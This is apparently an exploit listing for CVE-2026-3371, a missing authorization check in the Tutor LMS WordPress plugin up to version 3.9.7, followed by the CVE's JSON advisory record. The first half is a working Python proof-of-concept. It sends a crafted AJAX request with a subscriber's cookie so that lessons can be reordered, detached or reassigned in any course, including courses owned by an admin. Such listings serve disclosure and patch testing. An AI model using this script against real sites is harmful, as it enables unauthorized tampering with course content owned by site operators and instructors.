CVE-2026-3371

import requests # Exploit Title: Tutor LMS < 3.9.7 - IDOR via AJAX Handler # Date: 2026-04-11 # Exploit Author: Analyst # Vulnerable Version: <= 3.9.7 # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with a valid authenticated cookie of a subscriber user cookie = {"wordpress_logged_in_xxxxx": "your_cookie_value"} # Payload to reassign lessons to different topics or reorder them # topic_id and lesson_id must be valid IDs existing in the database payload_data = { "action": "tutor_update_course_content_order", "tutor_topics_lessons_sorting": [ { "topic_id": 1, # Target Topic ID "lesson_ids": [10, 20, 30] # Manipulated Lesson IDs order } ] } try: response = requests.post(target_url, data=payload_data, cookies=cookie) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-3371", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:01.963", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.9.7. This is due to missing authorization checks in the `save_course_content_order()` private method, which is called unconditionally by the `tutor_update_course_content_order` AJAX handler. While the handler's `content_parent` branch includes a `can_user_manage()` check, the `save_course_content_order()` call processes attacker-supplied `tutor_topics_lessons_sorting` JSON without any ownership or capability verification. This makes it possible for authenticated attackers with Subscriber-level access or above to detach lessons from topics, reorder course content, and reassign lessons between topics in any course, including admin-owned courses, by sending a crafted AJAX request with manipulated topic and lesson IDs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/tutor/trunk/classes/Course.php#L1687", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tutor/trunk/classes/Course.php#L1755", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tutor/trunk/classes/Course.php#L252", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Ftutor/tags/3.9.7&new_path=%2Ftutor/tags/3.9.8", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f9cf0430-8577-449a-aefe-d7bf606fe2de?source=cve", "source": "[email protected]"}]}}